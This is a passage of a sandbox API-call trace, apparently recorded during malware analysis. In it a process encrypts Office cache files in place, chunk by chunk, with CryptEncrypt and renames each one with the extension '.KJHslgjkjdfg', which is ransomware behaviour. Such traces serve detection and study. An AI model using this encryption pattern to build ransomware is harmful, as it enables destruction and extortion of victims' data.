ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0136.677] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.677] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=14127746) returned 1 [0136.677] GetProcessHeap () returned 0x2a0000 [0136.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.677] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.677] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0xe, lpOverlapped=0x0) returned 1 [0136.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.680] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.680] GetProcessHeap () returned 0x2a0000 [0136.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.680] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0136.680] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.680] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0136.680] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0136.681] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0136.681] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0136.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.681] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0136.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.681] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.681] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.688] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.694] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.694] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.695] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.695] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.695] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.700] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.704] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.704] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.705] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.705] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.705] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.718] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.721] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.721] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.722] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.722] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.722] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.722] SetEndOfFile (hFile=0x124) returned 1 [0136.726] GetProcessHeap () returned 0x2a0000 [0136.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.726] GetProcessHeap () returned 0x2a0000 [0136.726] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.726] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.kjhslgjkjdfg")) returned 1 [0136.727] CloseHandle (hObject=0x124) returned 1 [0136.727] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0136.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.727] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=3702272) returned 1 [0136.727] GetProcessHeap () returned 0x2a0000 [0136.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.728] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.728] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.728] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.728] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.728] GetProcessHeap () returned 0x2a0000 [0136.728] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.728] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0136.728] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.728] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0136.747] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0136.748] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0136.748] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0136.748] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.748] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0136.748] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.748] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.748] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.748] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.757] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.762] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.762] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.763] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.763] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.763] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.763] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.776] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.779] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.779] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.781] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.781] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.781] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.787] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.790] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.790] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.791] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.791] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.791] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.791] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.791] SetEndOfFile (hFile=0x124) returned 1 [0136.794] GetProcessHeap () returned 0x2a0000 [0136.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.794] GetProcessHeap () returned 0x2a0000 [0136.794] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.795] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.kjhslgjkjdfg")) returned 1 [0136.795] CloseHandle (hObject=0x124) returned 1 [0136.795] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0136.795] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.796] GetProcessHeap () returned 0x2a0000 [0136.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.796] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.796] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.796] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xb, lpOverlapped=0x0) returned 1 [0136.798] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.798] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.799] GetProcessHeap () returned 0x2a0000 [0136.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.799] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.799] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.799] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.799] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.799] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.799] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.799] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.799] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.799] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.800] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.800] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x15b5, lpOverlapped=0x0) returned 1 [0136.801] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15c0) returned 1 [0136.801] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.801] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x15c0, lpOverlapped=0x0) returned 1 [0136.801] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.801] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.801] SetEndOfFile (hFile=0x124) returned 1 [0136.804] GetProcessHeap () returned 0x2a0000 [0136.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.804] GetProcessHeap () returned 0x2a0000 [0136.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.804] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.kjhslgjkjdfg")) returned 1 [0136.812] CloseHandle (hObject=0x124) returned 1 [0136.812] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.msi", 